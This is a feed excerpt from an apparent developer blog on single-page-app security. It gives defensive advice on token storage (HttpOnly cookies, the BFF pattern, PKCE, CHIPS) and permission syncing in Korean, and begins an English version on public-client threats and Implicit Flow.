&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
—&lt;/p&gt;

&lt;h1 id=&quot;localstorage-vs-cookie-끝나지-않는-논쟁&quot;&gt;LocalStorage vs Cookie: 끝나지 않는 논쟁&lt;/h1&gt;

&lt;p&gt;SPA 개발자들 사이에서 영원한 논쟁거리입니다. “토큰을 어디에 저장할까?” 이 문제는 XSS와 CSRF라는 두 공격 벡터 사이의 트레이드오프를 포함합니다.&lt;/p&gt;

&lt;h2 id=&quot;비교표로-보는-장단점&quot;&gt;비교표로 보는 장단점&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;저장 방식&lt;/th&gt;
      &lt;th&gt;XSS 취약성&lt;/th&gt;
      &lt;th&gt;CSRF 취약성&lt;/th&gt;
      &lt;th&gt;영속성&lt;/th&gt;
      &lt;th&gt;특징&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;LocalStorage / SessionStorage&lt;/td&gt;
      &lt;td&gt;매우 높음 ⚠️&lt;/td&gt;
      &lt;td&gt;낮음 ✅&lt;/td&gt;
      &lt;td&gt;브라우저 종료 시까지&lt;/td&gt;
      &lt;td&gt;JS로 즉시 접근 가능. XSS 시 즉시 탈취됨. &lt;strong&gt;비권장&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;인메모리 (JS 변수)&lt;/td&gt;
      &lt;td&gt;높음 ⚠️&lt;/td&gt;
      &lt;td&gt;낮음 ✅&lt;/td&gt;
      &lt;td&gt;페이지 리로드 시 소멸&lt;/td&gt;
      &lt;td&gt;디스크에 안 남지만 XSS로 메모리 덤프 가능. 새로고침마다 재로그인&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;HttpOnly Cookie&lt;/td&gt;
      &lt;td&gt;낮음 ✅&lt;/td&gt;
      &lt;td&gt;높음 ⚠️&lt;/td&gt;
      &lt;td&gt;만료 설정에 따름&lt;/td&gt;
      &lt;td&gt;JS 접근 차단. XSS로 토큰 자체는 못 훔침. &lt;strong&gt;권장&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;xss-vs-csrf-무엇이-더-위험한가&quot;&gt;XSS vs CSRF: 무엇이 더 위험한가?&lt;/h2&gt;

&lt;p&gt;많은 개발자가 “쿠키는 CSRF에 취약하니까 LocalStorage가 낫다”고 오해합니다. 하지만 보안 전문가들의 견해는 정반대입니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;XSS의 파괴력:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;토큰이 탈취되면 공격자는 사용자 개입 없이 언제 어디서나 API를 호출하고 계정을 탈취할 수 있습니다&lt;/li&gt;
  &lt;li&gt;방어가 사실상 불가능합니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CSRF의 방어 가능성:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;사용자가 브라우저를 켜고 있을 때만 공격이 가능합니다&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; 쿠키 정책과 Anti-CSRF 토큰으로 기술적으로 완벽에 가깝게 방어할 수 있습니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;결론:&lt;/strong&gt; 방어 기제가 존재하는 CSRF 위험을 감수하더라도, 방어 불가능한 토큰 탈취(XSS)를 막기 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt; 쿠키를 써야 합니다. 이게 BFF 패턴의 핵심 철학입니다.&lt;/p&gt;

&lt;h2 id=&quot;브라우저의-미래-chips&quot;&gt;브라우저의 미래: CHIPS&lt;/h2&gt;

&lt;p&gt;서드파티 쿠키 차단 정책은 iframe에 임베딩되는 SPA(채팅 위젯, 결제 모듈 등)의 인증 유지에 큰 걸림돌이었습니다. 이를 해결하기 위해 구글 등 브라우저 벤더들이 &lt;strong&gt;CHIPS (Cookies Having Independent Partitioned State)&lt;/strong&gt; 기술을 도입했습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;작동 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;abc123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Partitioned&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Secure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SameSite&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Partitioned&lt;/code&gt; 속성을 추가하면, 쿠키가 최상위 사이트별로 격리된 저장소에 저장됩니다. A 사이트에 임베딩된 내 서비스의 쿠키는 B 사이트와 공유되지 않습니다. 서드파티 추적은 막으면서도, 임베디드 앱의 정상적인 세션 유지는 가능해지는 거죠.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;권한-관리-프론트엔드와-백엔드의-동기화&quot;&gt;권한 관리: 프론트엔드와 백엔드의 동기화&lt;/h1&gt;

&lt;p&gt;인증(Authentication)이 “이 사람이 누구냐”를 확인하는 거라면, 인가(Authorization)는 “이 사람이 뭘 할 수 있냐”를 결정하는 겁니다. SPA에서는 백엔드의 권한 로직과 프론트엔드 UI 상태를 동기화해야 하는 복잡한 과제가 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;rbac를-넘어-permission-중심으로&quot;&gt;RBAC를 넘어 Permission 중심으로&lt;/h2&gt;

&lt;p&gt;과거에는 단순히 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role: &apos;admin&apos;&lt;/code&gt; 같은 역할 정보를 프론트엔드에 전달했습니다. 하지만 비즈니스가 복잡해지면 한계에 봉착합니다.&lt;/p&gt;

&lt;p&gt;예를 들어:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;“매니저는 글을 수정할 수 있다” → 간단&lt;/li&gt;
  &lt;li&gt;“매니저는 자기 부서 글만 수정할 수 있다” → 역할 이름만으로는 표현 불가&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;그래서 최신 트렌드는 &lt;strong&gt;구체적인 권한(Permission) 목록을 JSON으로 전달&lt;/strong&gt;하는 겁니다.&lt;/p&gt;

&lt;h2 id=&quot;효율적인-권한-json-구조-casl-스타일&quot;&gt;효율적인 권한 JSON 구조 (CASL 스타일)&lt;/h2&gt;

&lt;p&gt;JavaScript 진영에서 널리 쓰이는 CASL 라이브러리 호환 구조를 권장합니다:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;u123&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;roles&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;editor&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;permissions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Article&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Article&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;conditions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;authorId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;${user.id}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;draft&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Comment&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;inverted&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;해석:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;모든 Article을 읽을 수 있다(read)&lt;/li&gt;
  &lt;li&gt;작성자가 본인이고 상태가 draft인 Article만 수정할 수 있다(update)&lt;/li&gt;
  &lt;li&gt;Comment는 절대 삭제할 수 없다(inverted: true → Deny 규칙)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;동기화-전략&quot;&gt;동기화 전략&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;핵심 원칙: “보안은 서버에서, UX는 클라이언트에서”&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;API가 진실의 원천(Source of Truth):&lt;/strong&gt; 실제 데이터 접근 제어는 반드시 API 서버에서 수행되어야 합니다. 프론트엔드 로직은 우회 가능하므로 절대 신뢰하면 안 됩니다.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;동기화 메커니즘:&lt;/strong&gt; 사용자가 로그인하거나 페이지를 로드할 때, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/my-permissions&lt;/code&gt; 같은 엔드포인트를 호출해서 권한 JSON을 받아옵니다.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;UI 제어:&lt;/strong&gt; 받은 JSON을 Pinia(Vue)나 Context API(React) 같은 전역 상태 관리자에 저장합니다. 이후 커스텀 디렉티브나 컴포넌트로 UI를 제어합니다:&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-vue highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Vue 예시 --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;v-can=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&apos;update&apos;, post&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;글 수정&lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// React 예시&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Can&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;create&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Project&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;CreateButton&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Can&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;권한이 없는 사용자에게는 버튼을 숨기거나 비활성화 처리합니다. 하지만 기억하세요. &lt;strong&gt;이건 UX일 뿐입니다.&lt;/strong&gt; 진짜 보안은 백엔드에서!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;결론-및-실전-권고안&quot;&gt;결론 및 실전 권고안&lt;/h1&gt;

&lt;p&gt;2026년의 SPA 보안 환경은 이전보다 훨씬 정교한 아키텍처를 요구합니다. 브라우저의 제약은 강화되고, 공격 기법은 고도화되고 있죠.&lt;/p&gt;

&lt;h2 id=&quot;핵심-요약&quot;&gt;핵심 요약&lt;/h2&gt;

&lt;h3 id=&quot;1-bff-패턴-도입-최우선-권장-&quot;&gt;1. BFF 패턴 도입 (최우선 권장) 🏆&lt;/h3&gt;

&lt;p&gt;보안이 중요한 비즈니스 애플리케이션이라면, &lt;strong&gt;토큰을 브라우저에서 완전히 제거&lt;/strong&gt;하는 BFF 패턴을 도입하세요. XSS로 인한 계정 탈취를 원천 봉쇄할 수 있는 현재 유일하고도 가장 강력한 아키텍처입니다.&lt;/p&gt;

&lt;h3 id=&quot;2-httponly-쿠키-사용&quot;&gt;2. HttpOnly 쿠키 사용&lt;/h3&gt;

&lt;p&gt;토큰 저장소로는 LocalStorage 대신 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Secure&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; 속성이 적용된 쿠키를 사용하세요. 스크립트 접근을 차단하여 보안성을 극대화합니다.&lt;/p&gt;

&lt;h3 id=&quot;3-pkce-및-토큰-로테이션-차선책&quot;&gt;3. PKCE 및 토큰 로테이션 (차선책)&lt;/h3&gt;

&lt;p&gt;BFF 도입이 불가능한 경우(Serverless 환경 등), PKCE 기반 Authorization Code Flow를 사용하되, &lt;strong&gt;반드시 리프레시 토큰 로테이션과 재사용 감지 메커니즘&lt;/strong&gt;을 구현하세요. 토큰 탈취 시 피해를 최소화할 수 있습니다.&lt;/p&gt;

&lt;h3 id=&quot;4-세밀한-권한-동기화&quot;&gt;4. 세밀한 권한 동기화&lt;/h3&gt;

&lt;p&gt;권한 관리는 단순 RBAC를 넘어, 조건(Condition)이 포함된 Permission JSON 구조로 프론트-백엔드를 동기화하세요. 단, 최종 권한 검사는 항상 백엔드 API에서!&lt;/p&gt;

&lt;h2 id=&quot;미래-전망&quot;&gt;미래 전망&lt;/h2&gt;

&lt;p&gt;웹 보안은 ‘제로 트러스트(Zero Trust)’ 원칙이 클라이언트단까지 확장될 겁니다. 브라우저는 점점 더 폐쇄적인 환경으로 변모하고(서드파티 쿠키의 완전한 종말), 파티션 쿠키(CHIPS)나 Storage Access API 같은 새로운 표준 기술의 습득이 필수가 될 겁니다.&lt;/p&gt;

&lt;p&gt;또한 &lt;strong&gt;DPoP(Demonstrating Proof-of-Possession)&lt;/strong&gt; 같이 토큰이 특정 클라이언트에 귀속되도록 강제하는 응용 계층 보안 프로토콜도 점차 보편화될 것으로 전망됩니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;마무리하며&quot;&gt;마무리하며&lt;/h1&gt;

&lt;p&gt;SPA 보안은 단순히 “어디에 토큰을 저장할까”를 넘어선 문제입니다. 아키텍처 설계부터 보안을 내재화(Security by Design)해야 합니다.&lt;/p&gt;

&lt;p&gt;오랜만에 SPA 프로젝트를 시작하거나, 레거시 시스템의 보안을 개선해야 한다면 이 글을 북마크해두세요. 필요할 때 다시 읽어보면 도움이 될 겁니다! 🚀&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;부록-빠른-참조표&quot;&gt;부록: 빠른 참조표&lt;/h1&gt;

&lt;h2 id=&quot;저장소-선택-가이드&quot;&gt;저장소 선택 가이드&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;상황&lt;/th&gt;
      &lt;th&gt;권장 방식&lt;/th&gt;
      &lt;th&gt;이유&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;프로덕션 환경&lt;/td&gt;
      &lt;td&gt;BFF + HttpOnly Cookie&lt;/td&gt;
      &lt;td&gt;XSS 완전 방어&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Serverless SPA&lt;/td&gt;
      &lt;td&gt;PKCE + 토큰 로테이션&lt;/td&gt;
      &lt;td&gt;백엔드 구축 불가 시 차선책&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;개발/테스트 환경&lt;/td&gt;
      &lt;td&gt;LocalStorage (임시)&lt;/td&gt;
      &lt;td&gt;편의성, 단 프로덕션 전 교체 필수&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;임베디드 위젯&lt;/td&gt;
      &lt;td&gt;CHIPS 활용&lt;/td&gt;
      &lt;td&gt;서드파티 쿠키 차단 우회&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 22 Jan 2026 11:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/security/2026/01/22/spa-security-kor.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/security/2026/01/22/spa-security-kor.html</guid>
        
        <category>Security</category>
        
        <category>SPA</category>
        
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>SPA Security Architecture | Why You Shouldn&apos;t Store Tokens in the Browser 🔐</title>
        <description>&lt;h1 id=&quot;spa-security-architecture-why-you-shouldnt-store-tokens-in-the-browser-&quot;&gt;SPA Security Architecture: Why You Shouldn’t Store Tokens in the Browser 🔐&lt;/h1&gt;

&lt;p&gt;Ever found yourself wondering “Should I store tokens in LocalStorage or cookies?” while building your SPA? Or thought “What’s PKCE and why do I need it?” If so, this article is your answer. We’ve compiled everything you need to know about SPA authentication and authorization—the hottest topic in web security as of 2025.&lt;/p&gt;

&lt;hr /&gt;
&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;why-is-spa-security-so-hard&quot;&gt;Why Is SPA Security So Hard?&lt;/h1&gt;

&lt;h2 id=&quot;the-trust-boundary-has-collapsed&quot;&gt;The Trust Boundary Has Collapsed&lt;/h2&gt;

&lt;p&gt;Traditional web applications were simple. The server rendered HTML, and the browser just displayed it. Session information was safely stored in server memory, and the client only held a simple session ID cookie.&lt;/p&gt;

&lt;p&gt;But SPAs are different. Business logic has moved to the browser, and state management happens on the client side. We can build gorgeous UIs with React or Vue, but from a security perspective, it’s been a disaster. &lt;strong&gt;We now have to store sensitive authentication tokens in an untrusted environment—the browser.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-public-client-dilemma&quot;&gt;The Public Client Dilemma&lt;/h2&gt;

&lt;p&gt;The OAuth 2.0 standard classifies clients into two types:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidential Client:&lt;/strong&gt; Applications running on servers. They can safely store &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;. Think Node.js backends or Spring Boot servers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Public Client:&lt;/strong&gt; Applications running on user devices. SPAs, mobile apps, and desktop apps fall into this category. Since the code is exposed to users, they cannot keep secrets.&lt;/p&gt;

&lt;p&gt;SPAs are inherently public clients because JavaScript code runs directly in the browser. Anyone can open the developer tools and see everything. Hardcoding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt; in your code? That’s like committing your password to GitHub.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;threats-facing-public-clients&quot;&gt;Threats Facing Public Clients&lt;/h1&gt;

&lt;h2 id=&quot;1-client-impersonation&quot;&gt;1. Client Impersonation&lt;/h2&gt;

&lt;p&gt;Confidential clients prove their identity with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;. But public clients can’t do this. If you accidentally include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt; in your SPA code, attackers can extract it using developer tools and impersonate your legitimate app.&lt;/p&gt;

&lt;p&gt;Why is this a problem? Attackers can phish user data or request unauthorized tokens at will. That’s why IETF and OWASP strictly prohibit using Client Credentials Grant with public clients.&lt;/p&gt;

&lt;h2 id=&quot;2-the-fall-of-implicit-flow&quot;&gt;2. The Fall of Implicit Flow&lt;/h2&gt;

&lt;p&gt;In the early days of SPA development, Implicit Flow was popular. It skipped the authorization code exchange step and delivered tokens directly in the URL hash fragment (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://myapp.com/callback#access_token=eyJhbG...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks simple, but it had fatal flaws:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Token Leakage:&lt;/strong&gt; Tokens in URLs are exposed through browser history, proxy logs, and Referer headers&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;No Refresh:&lt;/strong&gt; For security reasons, refresh tokens weren’t issued, requiring re-authentication every time the access token expired&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Third-Party Cookie Blocking:&lt;/strong&gt; Silent renewal via iframes was blocked by ITP (Intelligent Tracking Prevention) policies&lt;/li&gt;
